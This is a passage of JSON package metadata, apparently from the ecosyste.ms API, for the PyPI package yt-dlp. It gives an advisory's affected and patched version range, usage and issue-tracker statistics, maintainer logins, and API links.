s/api/v1/advisories/GSA_kwCzR0hTQS12OG1jLTkzNzctcndqas4AA0Xj","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OG1jLTkzNzctcndqas4AA0Xj","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2023.7.06","vulnerable_version_range":"\u003c 2023.7.06"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OG1jLTkzNzctcndqas4AA0Xj/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/yt-dlp","docker_dependents_count":390,"docker_downloads_count":98366125,"usage_url":"https://repos.ecosyste.ms/usage/pypi/yt-dlp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/yt-dlp/dependencies","status":null,"funding_links":["https://github.com/yt-dlp/yt-dlp/blob/master/Maintainers.md#maintainers"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-18T12:00:21.283Z","issues_count":5633,"pull_requests_count":3610,"avg_time_to_close_issue":5861511.465018411,"avg_time_to_close_pull_request":3536927.798859935,"issues_closed_count":3801,"pull_requests_closed_count":2456,"pull_request_authors_count":903,"issue_authors_count":4006,"avg_comments_per_issue":4.078111130836144,"avg_comments_per_pull_request":1.6346260387811633,"merged_pull_requests_count":1959,"bot_issues_count":0,"bot_pull_requests_count":2,"past_year_issues_count":460,"past_year_pull_requests_count":267,"past_year_avg_time_to_close_issue":601318.2337662338,"past_year_avg_time_to_close_pull_request":1601498.6379310344,"past_year_issues_closed_count":231,"past_year_pull_requests_closed_count":116,"past_year_pull_request_authors_count":140,"past_year_issue_authors_count":397,"past_year_avg_comments_per_issue":5.960869565217391,"past_year_avg_comments_per_pull_request":1.5393258426966292,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":72,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/issues","maintainers":[{"login":"bashonly","count":763,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bashonly"},{"login":"seproDev","count":237,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/seproDev"},{"login":"Grub4K","count":148,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Grub4K"},{"login":"coletdjnz","count":105,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/coletdjnz"},{"login":"doe1080","count":89,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/doe1080"},{"login":"garret1317","count":27,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/garret1317"},{"login":"pzhlkj6612","count":19,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pzhlkj6612"},{"login":"pukkandan","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pukkandan"},{"login":"gamer191","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gamer191"},{"login":"dlp-bot","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dlp-bot"},{"login":"DTrombett","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DTrombett"},{"login":"atsushi2965","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/atsushi2965"},{"login":"grqz","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/grqz"},{"login":"mcmire","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mcmire"},{"login":"ARK2053","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ARK2053"},{"login":"Lesmiscore","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Lesmiscore"},{"login":"zeitgeist","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/zeitgeist"},{"login":"koevskinikola","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/koevskinikola"},{"login":"pha1n0q","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pha1n0q"},{"login":"leandrohstein","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/leandrohstein"}],"active_maintainers":[{"login":"doe1080","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/doe1080"},{"login":"bashonly","count":36,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bashonly"},{"login":"dlp-bot","count":9,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dlp-bot"},{"login":"gamer191","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gamer191"},{"login":"atsushi2965","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/atsushi2965"},{"login":"garret1317","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/garret1317"},{"login":"grqz","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/grqz"},{"login":"Grub4K","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Grub4K"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/yt-dlp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/yt-dlp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/yt-dlp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/yt-dlp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/yt-dlp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/yt-dlp/codemeta","maintainers":[{"uuid":"pukkandan","login":"pukkandan","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/pukkandan/","role":null,"created_at":"2022-11-14T20:04:48.588Z","updated_at":"2022-11-14T20:04:48.588Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/pukkandan/packages"}]}